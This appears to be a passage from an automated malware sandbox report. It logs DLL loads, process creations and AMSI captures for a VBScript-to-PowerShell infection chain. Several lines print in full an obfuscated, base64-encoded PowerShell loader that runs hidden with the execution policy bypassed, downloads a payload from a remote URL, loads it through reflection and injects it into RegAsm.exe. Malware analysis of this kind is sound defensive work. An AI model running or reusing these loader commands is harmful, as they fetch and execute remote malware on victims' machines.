Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Source:

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJyk", "0", "false");

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

11_2_0041CBE1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C0C905B9 push edi; retf	8_2_00007FF7C0C905BA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C0C900BD pushad ; iretd	8_2_00007FF7C0C900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF7C0C9101D pushad ; retf	8_2_00007FF7C0C91022
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF7C0C9E37E pushad ; iretd	10_2_00007FF7C0C9E399
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF7C0C91425 pushad ; retf	10_2_00007FF7C0C9142A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF7C0C97563 push ebx; iretd	10_2_00007FF7C0C9756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF7C0C900BD pushad ; iretd	10_2_00007FF7C0C900C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00457186 push ecx; ret	11_2_00457199
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0045E55D push esi; ret	11_2_0045E566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00457AA8 push eax; ret	11_2_00457AC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00434EB6 push ecx; ret	11_2_00434EC9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00406EEB ShellExecuteW,URLDownloadToFileW,

11_2_00406EEB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

11_2_0041AADB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

11_2_0041CBE1

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
